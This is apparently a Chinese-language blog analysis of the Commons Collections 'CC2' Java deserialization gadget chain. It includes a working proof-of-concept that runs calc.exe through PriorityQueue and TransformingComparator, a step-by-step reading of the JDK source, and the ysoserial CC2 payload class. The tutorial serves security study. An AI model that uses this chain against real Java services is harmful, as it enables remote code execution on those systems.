CommonsCollections2浅析

CommonsCollections2浅析

本文字数:1146  阅读时长:3分钟

访客数:加载中... | 阅读量:加载中...

CommonsCollections2 浅析

CC2 和 CC1 的不同在于换了一个触发方式,当然之后的 CC 链也是如此。它采用了 PriorityQueue.readObject () 去触发整条利用链。


本地 CC2

这是一个可以在本地弹计算器的 Demo,里面加了些便于理解的注释

java
package org.example;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollection2 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(1);// 此处初始化时没有初始化 Tcomparator 进去,防止后面 add (2) 时直接触发利用链

        queue.add(1);// 添加俩个元素是因为至少在 heapify 方法内才会进入 for 循环
        queue.add(2);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,Tcomparator);// 替换为 Tcomparator 用于触发回调

        try{
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(queue);
            oos.close();
            System.out.println(barr);
            ObjectInputStream ois = new ObjectInputStream(new
                    ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object)ois.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}
/*
PriorityQueue.readObject ()->PriorityQueue.heapify ()->PriorityQueue.siftDown->PriorityQueue.siftDownComparable [内含代码 comparator.compare,Comparator 是一个接口,compare 是它的抽象方法]
 -> 触发 TransformingComparator.compare ()[触发代码 this.transformer.transform (obj1), 从而触发回调,触发利用链]

 参考:https://xz.aliyun.com/t/10387?time__1311=Cqjx2Qi%3DomqGqGNDQieiK%2BlBDn7QtWK4D
 */

一样的从后往前看,先看猜测触发点是在 PriorityQueue.readObject ()

java
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

粗看没啥触发点,进入 heapify () 再看看

java
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

进入了一个 siftDown () 方法,跟进去看看

java
private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

先进 siftDownUsingComparator (k, x); 里面瞧瞧

java
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

可以发现 comparator.compare,而在 PriorityQueue 里 compare 是抽象方法,是根据你传入的 comparator 调用的。而上述代码里传入的是 TransformingComparator,那么 TransformingComparator.compare () 必然内存玄机

java
public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

一看果然如此,这不就是熟悉的 transform 吗,诶,这利用链不就拼上了

那再看看 siftDownComparable (k, x); 看看能不能利用

java
private void siftDownComparable(int k, E x) {
    Comparable<? super E> key = (Comparable<? super E>)x;
    int half = size >>> 1;        // loop while a non-leaf
    while (k < half) {
        int child = (k << 1) + 1; // assume left child is least
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
            c = queue[child = right];
        if (key.compareTo((E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = key;
}

可以看到有类似的 compareTo,但是数据类型是 int 类且不方便利用,因此就不用这个函数了,因此需要上述 if 判断 comparator != null 成立,这刚刚好,我们需要传入 comparator,此时正好满足 comparator != null。


利用链

  1. PriorityQueue.readObject()
  2. PriorityQueue.heapify()
  3. PriorityQueue.siftDown()
  4. PriorityQueue.siftDownUsingComparator
  5. TransformingComparator.compare()
  6. ChainedTransformer.transform()
  7. ConstantTransformer.transform()
  8. InvokerTransformer.transform()

ysoserial 里的 CC2 链

java
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {

    public Queue<Object> getObject(final String command) throws Exception {
       final Object templates = Gadgets.createTemplatesImpl(command);
       // mock method name until armed
       final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

       // create queue with numbers and basic comparator
       final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
       // stub data for replacement later
       queue.add(1);
       queue.add(1);

       // switch method called by comparator
       Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

       // switch contents of queue
       final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
       queueArray[0] = templates;
       queueArray[1] = 1;

       return queue;
    }

    public static void main(final String[] args) throws Exception {
       PayloadRunner.run(CommonsCollections2.class, args);
    }

}

可以看到基本一致的,方法是一样的,给出 ysoserial 给出的 Gardget

java
/*
    Gadget chain:
       ObjectInputStream.readObject()
          PriorityQueue.readObject()
             ...
                TransformingComparator.compare()
                   InvokerTransformer.transform()
                      Method.invoke()
                         Runtime.exec()
 */

参考

https://xz.aliyun.com/t/10387?time__1311=Cqjx2Qi%3DomqGqGNDQieiK%2BlBDn7QtWK4D